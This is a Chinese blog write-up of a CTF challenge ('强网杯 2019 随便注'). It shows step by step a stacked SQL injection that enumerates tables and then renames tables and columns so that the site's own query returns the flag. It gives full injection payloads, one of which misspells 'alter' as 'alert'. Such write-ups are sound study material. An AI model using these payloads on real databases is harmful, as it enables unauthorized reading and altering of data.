[强网杯 2019]随便注 1

判断注入点

万能密码先一搞
在这里插入图片描述
没啥用但是有回显

查询字段数

使用order by来操作
从1试到3,发现3有错误提示,说明有两个字段
在这里插入图片描述
在表中随便输入一个查询语句发现很多的语句被过滤
在这里插入图片描述
看wp准备使用堆叠注入

堆叠注入

直接看表
在这里插入图片描述
再看每个表的定义
第一个表就出现flag四个字

1' ; desc `1919810931114514`;#

(注意数字加引号,数字串为表名的表操作时要加反引号)
在这里插入图片描述

1' ;desc words;#

在这里插入图片描述

第一个数字表里面明显有我想要的flag,但是select语句被屏蔽掉了,不能直接通过堆叠查到

那我们换一个思路:
看了上面的回显,什么nonono,还是上面这些代码,肯定不是数字表里给的,数字表就一个字段放flag,所以肯定是words给的回显,换句话说:网站给的查询语句就是往words表里面查询的,可以猜测这个语句可能是这样

select id,data from `words` where id = '1';

给一个输入,匹配到一种输出刚好符合两个字段的words表

看了wp后,有一个改表名的操作,既然他sql语句就选择了words,那我们换个头呗,把我想要的数字表名字改成words,这样他sql选择的就是带有flag的表了
下面是涉及到的语法
表改名:alter table 表名 rename [to] 新的表名;
字段改名:alter table 表名 change [column] 旧的字段名 目标字段定义(不仅是名字,也可以有类型、大小之类的...) [first|after 字段名];
增加表字段:alter table 表名 add [column] 字段定义 [first|after 字段名];

然后就把数字表伪造成原来的words表来配合sql语句

rename table `words` to `word`; # 防止重名先把原表名words改成其他的
rename table `1919810931114514` to `words`;# 把数字表改成words
alter table `words` add id int(10); # 因为原words有两个字段id和data,所以要再加一个id字段
alert table words change flag data varchar(20); # 把字段名flag改成data,照着之前查到的改

payload就是

1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);alert table words change flag data varchar(20);#

操作完后再使用万能密码,flag就出来了
在这里插入图片描述

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huamanggg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值